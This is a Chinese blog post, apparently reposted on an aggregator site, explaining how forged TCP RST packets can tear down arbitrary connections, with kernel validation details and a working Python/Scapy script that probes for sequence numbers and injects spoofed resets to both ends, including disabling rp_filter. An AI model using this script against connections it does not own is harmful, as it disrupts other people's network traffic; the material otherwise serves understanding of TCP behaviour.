在任意位置Reset掉任意的TCP连接

漫漫长夜又要降临…黑夜里,我不敢点灯,复明日,阳光下,我不敢睁眼。

这篇文章完全来自于我在解决另一个问题是一个突然的想法。所以并没有什么前因后果。

我本来是想模拟一个TCP接收端对收到数据包的确认,采用了Scapy这个简单的工具,然而折腾了大半天没有顺利搞定。其实我是不怎么懂Python的,折腾了大半天之后,竟然对Python产生了兴趣,正好旁边有人碰到了TCP连接被莫名Reset掉的案例,借这个楼,就想写一个能把任意TCP连接给Reset掉的小程序,主要是为了用Python练一下手而已,熟悉一下Python快乐编程的过程,体验一把乐趣。

折腾Scapy这件事的结果补充一下,本初的愿望没有达成,没有完成探测拥塞控制行为的目的,反而学了一点Python,证实了我不会编程,但也不是一点都不会,我稍微会一点。

再补充一下,如果想Reset掉一个连接,何必编程,iptables足矣:

iptables -A INPUT/OUTPUT/FORWARD -p TCP ...(match元组信息) -j REJECT--reject-with tcp-reset

把任意的TCP连接给Reset掉是比较容易的,因为TCP在收到数据包时,对发送者仅仅做以下简单的校验:

  • 五元组校验;
  • 校验和检测;
  • 序列号校验。

这是非常松散的校验机制!此外,我们知道TCP是一个端到端的传输协议,这意味着它无法控制数据包在经由网络链路时的任何事件。于是乎以下的机制就是一个不得已的必须机制,而恰恰是该机制非常容易被利用,使得一个TCP连接非常容易被旁路干掉!该机制就是:

  • TCP接收到一个莫名其妙的乱序报文时,必须立即回复一个携带正确序列号和确认号的ACK报文!

我们核对一下Linux TCP实现在收到报文时的校验函数tcp_validate_incoming:
在任意位置Reset掉任意的TCP连接_第1张图片

于是乎,为了能让一个TCP端正确处理Reset报文,就必须可以通过 序列号校验, 为了能获取 正确的序列号, 可以用以上的机制给TCP其中一端发送一个 任意序列号的报文,如果你堵在两端的必经之路上,那就可以收到 正确的序列号报文 了。

其实本文的题目中,“在任意位置” 说的并不严谨,如果你猜不到正确的序列号,需要发送探测数据报文的话,那么想Reset掉连接必须有一个前提,即你必须能抓获这个探测包的回复报文,因为正确的信息都在这个回复报文里。然而如果你并没有将这个TCP杀手部署的连接的必经之路上,就不能保证回复的报文一定被抓取到。不管怎么样,相信办法还是有的。

下面是一个原理图:
在任意位置Reset掉任意的TCP连接_第2张图片

是不是非常简单的呢?是的!

这个小工具要是做出来也是蛮有用的,毕竟TCP不会想原始的RFC793里的状态机那么 闭环,有时真的是对端早就阵亡了,本端还会有一些TCP遗体,要想除掉它们,这个工具就比较有用了。此外,伟大的防火城墙最初不也是采用了这种方案双边Reset连接吗?

下面是我用Python练手的一个代码,可以完成上述原理图里的操作:

#!/usr/bin/python

import sys
import os
import thread
import time

import signal
from scapy.all import *

# 五元组的源IP地址,如果在其中一端执行,则为该端的IP地址
# 注意,源和目标为任意方向,不必以建立连接的主动和被动来区分。
src = sys.argv[1] 
# 五元组的目标IP
dst = sys.argv[2]
# 和源IP对应的源端口
sport = sys.argv[3]
# 和目标IP对应的目标端口
dport = sys.argv[4]
local = int(sys.argv[5])

flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport

def signal_handler(signal, frame):
	os._exit(0)

def printrecv(pktdata):
	if TCP in pktdata and pktdata[TCP]:
		seqno = pktdata[TCP].ack
		ackno = pktdata[TCP].seq
		if local == 1:
			# 如果是在本机操作,则需要把lo的rp_filter关闭,这是因为构造的Reset是被灌入到loopback网卡的。
			all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read()
			lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read()
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0')
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0')
			# 为了防止tcp_v4_rcv里面的PKT_HOST类型检查失败,强制一个MAC地址
			sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
			os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp)
			os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp)
		else:
			send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0)

		send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0)
	os._exit(0)

def recv_packet(threadName, delay):
	# 抓取探测包的返回包,该返回包携带了正确的seq和ack
	sniff(prn = printrecv, store = 0, filter = flt)

if __name__ == '__main__':
	signal.signal(signal.SIGINT, signal_handler)
	# 创建抓包线程
	thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
	time.sleep(1) # 等待抓包线程就绪后发送探测包
	send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0)
	while 1:
		pass  # 空转,不是好方法!

这个代码仅仅是为了练习Python,其实有一个现成的杀TCP连接的工具,叫做tcpkill,它的Wiki在:https://en.wikipedia.org/wiki/Tcpkill
和tcpkill相比,我的这个比较low,但我没用过tcpkill,不晓得它有没有对待静默连接先探测的这个功能,请在使用前务必研究清楚。


现在,我来说一下做这个小程序时踩到的一些坑吧,如果对Linux的IP实现不熟悉,这些坑很难填平,当然这对于我来讲,并不是什么事。

  • 构造报文的loopback注入问题

如果在本机来杀一条本机的连接,那么我们抓到探测报文的返回报文后,就可以构造Reset报文了,这看似简单,但问题是这个构造的Reset如何注入到本机的TCP端。

Python的Scapy send/sendp均是用packet套接字来发送构造的RAW报文的,packet套接字必须注入到loopback网卡才能环回到本地TCP/IP协议栈,然而loopback接收的这个构造的报文源IP却是远端的TCP端点IP地址,这在loopback开启了rp_filter的情况下会无法通过验证的,即便是loopback的rp_filter关闭,还有一个all.rp_filter,系统在做validate source的时候,是取的二者之间的大值,即只要有一个开启,就会开启rp验证,所以在Python脚本中需要将二者全部关闭。

  • 目标MAC地址问题

使用send发送packet数据包会尝试绑定一个发送接口,然而目标地址就是本机的物理网卡的地址。构造报文是不可能通过物理网卡发送到wire上去的,而是会经由loopback环回到本地,然而此时必须指定一个目标MAC地址,否则将会取广播地址,而这个会在tcp_v4_rcv函数的开始,校验出错:

int tcp_v4_rcv(struct sk_buff *skb)
{
	const struct iphdr *iph;
	const struct tcphdr *th;
	struct sock *sk;
	int ret;
	struct net *net = dev_net(skb->dev);
	// 如果是广播MAC,type将不会是HOST
	if (skb->pkt_type != PACKET_HOST)
		goto discard_it;
  • RAW套接字和Packet套接字

起初我一直以为Scapy是通过RAW套接字发送数据包的,后来strace了一下发现是通过Packet套接字发送的。不过这里可以简单解释一下二者的区别。

  1. Packet套接字
    需要关联到一个特定的网卡直接发送,无需经过路由查找和地址解析。这是显然的,路由查找的目的无非也就是定位到一个网卡,现在网卡已经有了,直接发送即可,至于发到了哪里,能不能到达目的地,听天由命了。
  2. RAW套接字
    这种RAW套接字发送的报文是需要经过路由查找的,只是说IP头以及IP上层的协议以及数据可以自己构造。

Packet套接字非常直接和简单,这里不多说。

现在我来就着一个问题再来解释一下一个关于RAW套接字的问题。

既然在收报文的时候需要validate源地址的合理性,那么RAW套接字在发送报文的时候,路由逻辑是不是也需要validate一下源地址的合理性呢?毕竟RAW套接字的IP头是可以自行构造的,显然源地址也可以构造。

答案是需要看该RAW套接字的IP_HDRINCL socket选项有没有设置。

  • 如果设置了IP_HDRINCL选项
    绕过source validate逻辑,即构造的IP源地址可以是非本机地址。
  • 如果没有设置IP_HDRINCL选项
    忽略构造的IP源地址,以路由查找逻辑动态确定IP源地址。

嗯,这是我总结出的一个非常简单的解释。


浙江温州皮鞋湿,下雨进水不会胖!

你可能感兴趣的:(在任意位置Reset掉任意的TCP连接)